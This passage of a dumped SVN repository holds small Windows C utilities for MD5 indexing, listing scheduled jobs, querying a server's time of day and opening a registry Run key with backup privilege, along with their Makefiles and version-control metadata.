5 | https://hammackj.com/svn/wintools/trunk/md5index 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | md5.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:50.497484Z 36 | d26ea4bb600cc151712a1a6963ec1e72 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 19287 62 | 63 | md5.h 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:50.497484Z 70 | 2ce15b7d9876c8d19226e05a01a9dea0 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 640 96 | 97 | Makefile 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:50.497484Z 104 | 902d2629a8c4f134573cdbbd290b6324 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 234 130 | 131 | md5index.c 132 | file 133 | 134 | 135 | 136 | 137 | 2009-12-28T13:49:50.497484Z 138 | 2edbc1e9f0b83ba144e73009d577ecf2 139 | 2009-12-16T13:44:40.517816Z 140 | 1 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 3841 164 | 165 | -------------------------------------------------------------------------------- /md5index/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:md5index.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: md5index 6 | 7 | md5index: md5index.c 8 | $(CC) $(CFLAGS) md5index.c md5.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /md5index/.svn/text-base/md5.h.svn-base: -------------------------------------------------------------------------------- 1 | #ifndef md5_H 2 | #define md5_H 3 | 4 | /* typedef a 32-bit type */ 5 | typedef unsigned long int ULONG; 6 | 7 | /* Data structure for MD5 (Message-Digest) computation */ 8 | typedef struct { 9 | ULONG i[2]; /* number of _bits_ handled mod 2^64 */ 10 | ULONG buf[4]; /* scratch buffer */ 11 | unsigned char in[64]; /* input buffer */ 12 | unsigned char digest[16]; /* actual digest after MD5Final call */ 13 | } MD5_CTX; 14 | 15 | void MD5Init (MD5_CTX *); 16 | void MD5Update (MD5_CTX *,unsigned char *,unsigned int); 17 | void MD5Final (MD5_CTX *); 18 | void MD5Transform(ULONG *,ULONG *); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /md5index/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:md5index.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: md5index 6 | 7 | md5index: md5index.c 8 | $(CC) $(CFLAGS) md5index.c md5.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /md5index/md5.h: -------------------------------------------------------------------------------- 1 | #ifndef md5_H 2 | #define md5_H 3 | 4 | /* typedef a 32-bit type */ 5 | typedef unsigned long int ULONG; 6 | 7 | /* Data structure for MD5 (Message-Digest) computation */ 8 | typedef struct { 9 | ULONG i[2]; /* number of _bits_ handled mod 2^64 */ 10 | ULONG buf[4]; /* scratch buffer */ 11 | unsigned char in[64]; /* input buffer */ 12 | unsigned char digest[16]; /* actual digest after MD5Final call */ 13 | } MD5_CTX; 14 | 15 | void MD5Init (MD5_CTX *); 16 | void MD5Update (MD5_CTX *,unsigned char *,unsigned int); 17 | void MD5Final (MD5_CTX *); 18 | void MD5Transform(ULONG *,ULONG *); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /md5search/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/18/trunk/md5search 5 | END 6 | md5.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 47 10 | /svn/wintools/!svn/ver/18/trunk/md5search/md5.c 11 | END 12 | md5.h 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 47 16 | /svn/wintools/!svn/ver/18/trunk/md5search/md5.h 17 | END 18 | md5search.c 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 53 22 | /svn/wintools/!svn/ver/18/trunk/md5search/md5search.c 23 | END 24 | Makefile 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 50 28 | /svn/wintools/!svn/ver/18/trunk/md5search/Makefile 29 | END 30 | -------------------------------------------------------------------------------- /md5search/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/md5search 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | md5.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.372427Z 36 | d26ea4bb600cc151712a1a6963ec1e72 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 19287 62 | 63 | md5.h 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.372427Z 70 | 2ce15b7d9876c8d19226e05a01a9dea0 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 640 96 | 97 | md5search.c 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:46.372427Z 104 | 87b96cef4c11f08f9e755b69ed8e3b2b 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 3825 130 | 131 | Makefile 132 | file 133 | 134 | 135 | 136 | 137 | 2009-12-28T13:49:46.388053Z 138 | 36e7fd7ea855e6e0c776d6c1eb735098 139 | 2009-12-16T13:44:40.517816Z 140 | 1 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 239 164 | 165 | -------------------------------------------------------------------------------- /md5search/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:md5search.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: md5search 6 | 7 | md5search: md5search.c 8 | $(CC) $(CFLAGS) md5search.c md5.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /md5search/.svn/text-base/md5.h.svn-base: -------------------------------------------------------------------------------- 1 | #ifndef md5_H 2 | #define md5_H 3 | 4 | /* typedef a 32-bit type */ 5 | typedef unsigned long int ULONG; 6 | 7 | /* Data structure for MD5 (Message-Digest) computation */ 8 | typedef struct { 9 | ULONG i[2]; /* number of _bits_ handled mod 2^64 */ 10 | ULONG buf[4]; /* scratch buffer */ 11 | unsigned char in[64]; /* input buffer */ 12 | unsigned char digest[16]; /* actual digest after MD5Final call */ 13 | } MD5_CTX; 14 | 15 | void MD5Init (MD5_CTX *); 16 | void MD5Update (MD5_CTX *,unsigned char *,unsigned int); 17 | void MD5Final (MD5_CTX *); 18 | void MD5Transform(ULONG *,ULONG *); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /md5search/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:md5search.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: md5search 6 | 7 | md5search: md5search.c 8 | $(CC) $(CFLAGS) md5search.c md5.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /md5search/md5.h: -------------------------------------------------------------------------------- 1 | #ifndef md5_H 2 | #define md5_H 3 | 4 | /* typedef a 32-bit type */ 5 | typedef unsigned long int ULONG; 6 | 7 | /* Data structure for MD5 (Message-Digest) computation */ 8 | typedef struct { 9 | ULONG i[2]; /* number of _bits_ handled mod 2^64 */ 10 | ULONG buf[4]; /* scratch buffer */ 11 | unsigned char in[64]; /* input buffer */ 12 | unsigned char digest[16]; /* actual digest after MD5Final call */ 13 | } MD5_CTX; 14 | 15 | void MD5Init (MD5_CTX *); 16 | void MD5Update (MD5_CTX *,unsigned char *,unsigned int); 17 | void MD5Final (MD5_CTX *); 18 | void MD5Transform(ULONG *,ULONG *); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /netjobenum/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 42 4 | /svn/wintools/!svn/ver/18/trunk/netjobenum 5 | END 6 | netjobenum.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 55 10 | /svn/wintools/!svn/ver/18/trunk/netjobenum/netjobenum.c 11 | END 12 | netjobenum.cpp 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 57 16 | /svn/wintools/!svn/ver/18/trunk/netjobenum/netjobenum.cpp 17 | END 18 | Makefile 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 51 22 | /svn/wintools/!svn/ver/18/trunk/netjobenum/Makefile 23 | END 24 | -------------------------------------------------------------------------------- /netjobenum/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/netjobenum 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | netjobenum.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.247422Z 36 | 31be5d38e70d0d00e9fc7a0eb647de67 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1449 62 | 63 | netjobenum.cpp 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.263048Z 70 | 46c632b938a4fb6f4d9a4a3efe9eb285 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 1473 96 | 97 | Makefile 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:46.263048Z 104 | 4f0e1a6f2ae0015e1fdd26d46b5862b7 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 221 130 | 131 | -------------------------------------------------------------------------------- /netjobenum/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:netjobenum.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: netjobenum 6 | 7 | netjobenum: 8 | $(CC) $(CFLAGS) netjobenum.cpp $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /netjobenum/.svn/text-base/netjobenum.c.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma hdrstop 7 | 8 | #define BREAK_ME 1 /// #undef to get working code 9 | #undef BREAK_ME 10 | 11 | 12 | #pragma pack( push ) 13 | 14 | #ifdef BREAK_ME 15 | #pragma pack( 2 ) 16 | #else 17 | #pragma pack( 4 ) 18 | #endif 19 | 20 | #include 21 | #pragma pack( pop ) 22 | 23 | #define lenof(x) ( sizeof (x) / sizeof (x)[0] ) 24 | 25 | int main( int argc, char *argv[] ) 26 | { 27 | wchar_t server[256]; 28 | AT_ENUM *pBuf, *pJob; 29 | DWORD i, rc, nRead, nLeftBeforeCall, hResume; 30 | bool goForIt; 31 | 32 | if ( argc > 2 ) 33 | { 34 | puts( "usage: nsje [\\\\server]" ); 35 | return 1; 36 | } 37 | 38 | 39 | if ( argc == 2 ) 40 | mbstowcs( server, argv[1], lenof( server ) ); 41 | else 42 | server[0] = L'\0'; 43 | 44 | hResume = 0; 45 | printf( "%8.8s %.70s\n", "JobId", "Command" ); 46 | printf( "%8.8s %.70s\n", "--------", "----------------------------------------------------------------------" ); 47 | 48 | goForIt = true; 49 | while ( goForIt ) 50 | { 51 | pBuf = NULL; 52 | rc = NetScheduleJobEnum( *server == L'\0'? NULL: server, (BYTE **) &pBuf, 8192, &nRead, &nLeftBeforeCall, &hResume ); 53 | 54 | if ( rc != ERROR_SUCCESS && rc != ERROR_MORE_DATA ) 55 | { 56 | printf( "Doh! rc = %lu\n", rc ); 57 | return 1; 58 | } 59 | 60 | for ( pJob = pBuf, i = 0; i < nRead; ++ i, ++ pJob ) 61 | { 62 | printf( "%8lu %.70S\n", pJob->JobId, pJob->Command ); 63 | } 64 | 65 | if ( pBuf != NULL ) 66 | NetApiBufferFree( pBuf ); 67 | 68 | if ( rc == ERROR_SUCCESS ) 69 | goForIt = false; 70 | } 71 | 72 | return 0; 73 | } 74 | 75 | -------------------------------------------------------------------------------- /netjobenum/.svn/text-base/netjobenum.cpp.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma hdrstop 7 | 8 | #define BREAK_ME 1 /// #undef to get working code 9 | #undef BREAK_ME 10 | 11 | 12 | #pragma pack( push ) 13 | 14 | #ifdef BREAK_ME 15 | #pragma pack( 2 ) 16 | #else 17 | #pragma pack( 4 ) 18 | #endif 19 | 20 | #include 21 | #pragma pack( pop ) 22 | 23 | #define lenof(x) ( sizeof (x) / sizeof (x)[0] ) 24 | 25 | int main( int argc, char *argv[] ) 26 | { 27 | wchar_t server[256]; 28 | AT_ENUM *pBuf, *pJob; 29 | DWORD i, rc, nRead, nLeftBeforeCall, hResume; 30 | bool goForIt; 31 | 32 | if ( argc > 2 ) 33 | { 34 | puts( "usage: nsje [\\\\server]" ); 35 | return 1; 36 | } 37 | 38 | 39 | if ( argc == 2 ) 40 | mbstowcs( server, argv[1], lenof( server ) ); 41 | else 42 | server[0] = L'\0'; 43 | 44 | hResume = 0; 45 | printf( "%8.8s %.70s\n", "JobId", "Command" ); 46 | printf( "%8.8s %.70s\n", "--------", "----------------------------------------------------------------------" ); 47 | 48 | goForIt = true; 49 | while ( goForIt ) 50 | { 51 | printf("rock on\n"); 52 | pBuf = NULL; 53 | rc = NetScheduleJobEnum( *server == L'\0'? NULL: server, (BYTE **) &pBuf, 8192, &nRead, &nLeftBeforeCall, &hResume ); 54 | 55 | if ( rc != ERROR_SUCCESS && rc != ERROR_MORE_DATA ) 56 | { 57 | printf( "Doh! rc = %lu\n", rc ); 58 | return 1; 59 | } 60 | 61 | for ( pJob = pBuf, i = 0; i < nRead; ++ i, ++ pJob ) 62 | { 63 | printf( "%8lu %.70S\n", pJob->JobId, pJob->Command ); 64 | } 65 | 66 | if ( pBuf != NULL ) 67 | NetApiBufferFree( pBuf ); 68 | 69 | if ( rc == ERROR_SUCCESS ) 70 | goForIt = false; 71 | } 72 | 73 | return 0; 74 | } 75 | 76 | -------------------------------------------------------------------------------- /netjobenum/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:netjobenum.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: netjobenum 6 | 7 | netjobenum: 8 | $(CC) $(CFLAGS) netjobenum.cpp $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /netjobenum/netjobenum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma hdrstop 7 | 8 | #define BREAK_ME 1 /// #undef to get working code 9 | #undef BREAK_ME 10 | 11 | 12 | #pragma pack( push ) 13 | 14 | #ifdef BREAK_ME 15 | #pragma pack( 2 ) 16 | #else 17 | #pragma pack( 4 ) 18 | #endif 19 | 20 | #include 21 | #pragma pack( pop ) 22 | 23 | #define lenof(x) ( sizeof (x) / sizeof (x)[0] ) 24 | 25 | int main( int argc, char *argv[] ) 26 | { 27 | wchar_t server[256]; 28 | AT_ENUM *pBuf, *pJob; 29 | DWORD i, rc, nRead, nLeftBeforeCall, hResume; 30 | bool goForIt; 31 | 32 | if ( argc > 2 ) 33 | { 34 | puts( "usage: nsje [\\\\server]" ); 35 | return 1; 36 | } 37 | 38 | 39 | if ( argc == 2 ) 40 | mbstowcs( server, argv[1], lenof( server ) ); 41 | else 42 | server[0] = L'\0'; 43 | 44 | hResume = 0; 45 | printf( "%8.8s %.70s\n", "JobId", "Command" ); 46 | printf( "%8.8s %.70s\n", "--------", "----------------------------------------------------------------------" ); 47 | 48 | goForIt = true; 49 | while ( goForIt ) 50 | { 51 | pBuf = NULL; 52 | rc = NetScheduleJobEnum( *server == L'\0'? NULL: server, (BYTE **) &pBuf, 8192, &nRead, &nLeftBeforeCall, &hResume ); 53 | 54 | if ( rc != ERROR_SUCCESS && rc != ERROR_MORE_DATA ) 55 | { 56 | printf( "Doh! rc = %lu\n", rc ); 57 | return 1; 58 | } 59 | 60 | for ( pJob = pBuf, i = 0; i < nRead; ++ i, ++ pJob ) 61 | { 62 | printf( "%8lu %.70S\n", pJob->JobId, pJob->Command ); 63 | } 64 | 65 | if ( pBuf != NULL ) 66 | NetApiBufferFree( pBuf ); 67 | 68 | if ( rc == ERROR_SUCCESS ) 69 | goForIt = false; 70 | } 71 | 72 | return 0; 73 | } 74 | 75 | -------------------------------------------------------------------------------- /netjobenum/netjobenum.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma hdrstop 7 | 8 | #define BREAK_ME 1 /// #undef to get working code 9 | #undef BREAK_ME 10 | 11 | 12 | #pragma pack( push ) 13 | 14 | #ifdef BREAK_ME 15 | #pragma pack( 2 ) 16 | #else 17 | #pragma pack( 4 ) 18 | #endif 19 | 20 | #include 21 | #pragma pack( pop ) 22 | 23 | #define lenof(x) ( sizeof (x) / sizeof (x)[0] ) 24 | 25 | int main( int argc, char *argv[] ) 26 | { 27 | wchar_t server[256]; 28 | AT_ENUM *pBuf, *pJob; 29 | DWORD i, rc, nRead, nLeftBeforeCall, hResume; 30 | bool goForIt; 31 | 32 | if ( argc > 2 ) 33 | { 34 | puts( "usage: nsje [\\\\server]" ); 35 | return 1; 36 | } 37 | 38 | 39 | if ( argc == 2 ) 40 | mbstowcs( server, argv[1], lenof( server ) ); 41 | else 42 | server[0] = L'\0'; 43 | 44 | hResume = 0; 45 | printf( "%8.8s %.70s\n", "JobId", "Command" ); 46 | printf( "%8.8s %.70s\n", "--------", "----------------------------------------------------------------------" ); 47 | 48 | goForIt = true; 49 | while ( goForIt ) 50 | { 51 | printf("rock on\n"); 52 | pBuf = NULL; 53 | rc = NetScheduleJobEnum( *server == L'\0'? NULL: server, (BYTE **) &pBuf, 8192, &nRead, &nLeftBeforeCall, &hResume ); 54 | 55 | if ( rc != ERROR_SUCCESS && rc != ERROR_MORE_DATA ) 56 | { 57 | printf( "Doh! rc = %lu\n", rc ); 58 | return 1; 59 | } 60 | 61 | for ( pJob = pBuf, i = 0; i < nRead; ++ i, ++ pJob ) 62 | { 63 | printf( "%8lu %.70S\n", pJob->JobId, pJob->Command ); 64 | } 65 | 66 | if ( pBuf != NULL ) 67 | NetApiBufferFree( pBuf ); 68 | 69 | if ( rc == ERROR_SUCCESS ) 70 | goForIt = false; 71 | } 72 | 73 | return 0; 74 | } 75 | 76 | -------------------------------------------------------------------------------- /nettod/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 38 4 | /svn/wintools/!svn/ver/19/trunk/nettod 5 | END 6 | Makefile 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 47 10 | /svn/wintools/!svn/ver/19/trunk/nettod/Makefile 11 | END 12 | nettod.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 47 16 | /svn/wintools/!svn/ver/19/trunk/nettod/nettod.c 17 | END 18 | -------------------------------------------------------------------------------- /nettod/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/nettod 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:38:06.230480Z 11 | 19 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | Makefile 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:49.575674Z 36 | 01cc553771f0c6d4714e7fecd52a5055 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 207 62 | 63 | nettod.c 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:49.575674Z 70 | f80efe76bd80df00050e2c0c7d501311 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 1309 96 | 97 | -------------------------------------------------------------------------------- /nettod/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:nettod.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: nettod 6 | 7 | nettod: 8 | $(CC) $(CFLAGS) nettod.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /nettod/.svn/text-base/nettod.c.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #pragma hdrstop 5 | 6 | 7 | static const char *dow[] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; 8 | static const char *month[] = { "???", "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; 9 | 10 | 11 | int main( int argc, char *argv[] ) 12 | { 13 | wchar_t server[256] = L""; 14 | TIME_OF_DAY_INFO *p = NULL; 15 | DWORD rc; 16 | 17 | if ( argc > 2 ) 18 | { 19 | puts( "usage: nrt [servername]" ); 20 | return 1; 21 | } 22 | 23 | if ( argc > 1 ) 24 | mbstowcs( server, argv[1], strlen( argv[1] ) + 1 ); 25 | 26 | rc = NetRemoteTOD( server, (LPBYTE *) &p ); 27 | if ( rc != NERR_Success ) 28 | { 29 | printf( "error %d\n", rc ); 30 | return 2; 31 | } 32 | 33 | printf( "Unix time_t: %lu (since 1/1/70 00:00:00 UTC)\n", p->tod_elapsedt ); 34 | printf( "Milliseconds: %lu (since boot)\n", p->tod_msecs ); 35 | printf( "Current time: %02lu:%02lu:%02lu.%02lu (UTC)\n", p->tod_hours, p->tod_mins, p->tod_secs, p->tod_hunds ); 36 | printf( "Timezone offset: %ld (minutes from GMT)\n", p->tod_timezone ); 37 | printf( "Tick length: %lu (microseconds)\n", p->tod_tinterval * 100 ); 38 | printf( "Current date: %s, %lu %s %lu\n", dow[p->tod_weekday], p->tod_day, month[p->tod_month], p->tod_year ); 39 | 40 | rc = NetApiBufferFree( p ); // no docs -- but I think it's necessary 41 | 42 | return 0; 43 | } 44 | 45 | -------------------------------------------------------------------------------- /nettod/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:nettod.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: nettod 6 | 7 | nettod: 8 | $(CC) $(CFLAGS) nettod.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /nettod/nettod.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #pragma hdrstop 5 | 6 | 7 | static const char *dow[] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; 8 | static const char *month[] = { "???", "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; 9 | 10 | 11 | int main( int argc, char *argv[] ) 12 | { 13 | wchar_t server[256] = L""; 14 | TIME_OF_DAY_INFO *p = NULL; 15 | DWORD rc; 16 | 17 | if ( argc > 2 ) 18 | { 19 | puts( "usage: nrt [servername]" ); 20 | return 1; 21 | } 22 | 23 | if ( argc > 1 ) 24 | mbstowcs( server, argv[1], strlen( argv[1] ) + 1 ); 25 | 26 | rc = NetRemoteTOD( server, (LPBYTE *) &p ); 27 | if ( rc != NERR_Success ) 28 | { 29 | printf( "error %d\n", rc ); 30 | return 2; 31 | } 32 | 33 | printf( "Unix time_t: %lu (since 1/1/70 00:00:00 UTC)\n", p->tod_elapsedt ); 34 | printf( "Milliseconds: %lu (since boot)\n", p->tod_msecs ); 35 | printf( "Current time: %02lu:%02lu:%02lu.%02lu (UTC)\n", p->tod_hours, p->tod_mins, p->tod_secs, p->tod_hunds ); 36 | printf( "Timezone offset: %ld (minutes from GMT)\n", p->tod_timezone ); 37 | printf( "Tick length: %lu (microseconds)\n", p->tod_tinterval * 100 ); 38 | printf( "Current date: %s, %lu %s %lu\n", dow[p->tod_weekday], p->tod_day, month[p->tod_month], p->tod_year ); 39 | 40 | rc = NetApiBufferFree( p ); // no docs -- but I think it's necessary 41 | 42 | return 0; 43 | } 44 | 45 | -------------------------------------------------------------------------------- /regbackup/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | BOOL SetPrivilege( 6 | HANDLE hToken, // access token handle 7 | LPCTSTR lpszPrivilege, // name of privilege to enable/disable 8 | BOOL bEnablePrivilege // to enable or disable privilege 9 | ) 10 | { 11 | TOKEN_PRIVILEGES tp; 12 | LUID luid; 13 | 14 | if ( !LookupPrivilegeValue( 15 | NULL, // lookup privilege on local system 16 | lpszPrivilege, // privilege to lookup 17 | &luid ) ) // receives LUID of privilege 18 | { 19 | printf("LookupPrivilegeValue error: %u\n", GetLastError() ); 20 | return FALSE; 21 | } 22 | 23 | tp.PrivilegeCount = 1; 24 | tp.Privileges[0].Luid = luid; 25 | if (bEnablePrivilege) 26 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 27 | else 28 | tp.Privileges[0].Attributes = 0; 29 | 30 | // Enable the privilege or disable all privileges. 31 | 32 | if ( !AdjustTokenPrivileges( 33 | hToken, 34 | FALSE, 35 | &tp, 36 | sizeof(TOKEN_PRIVILEGES), 37 | (PTOKEN_PRIVILEGES) NULL, 38 | (PDWORD) NULL) ) 39 | { 40 | printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 41 | return FALSE; 42 | } 43 | 44 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 45 | 46 | { 47 | printf("The token does not have the specified privilege. \n"); 48 | return FALSE; 49 | } 50 | 51 | return TRUE; 52 | } 53 | 54 | 55 | void main() 56 | { 57 | 58 | HANDLE ProcessToken; 59 | HKEY key; 60 | LRESULT result; 61 | 62 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &ProcessToken)) { 63 | 64 | SetPrivilege(ProcessToken, SE_BACKUP_NAME, TRUE); 65 | result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 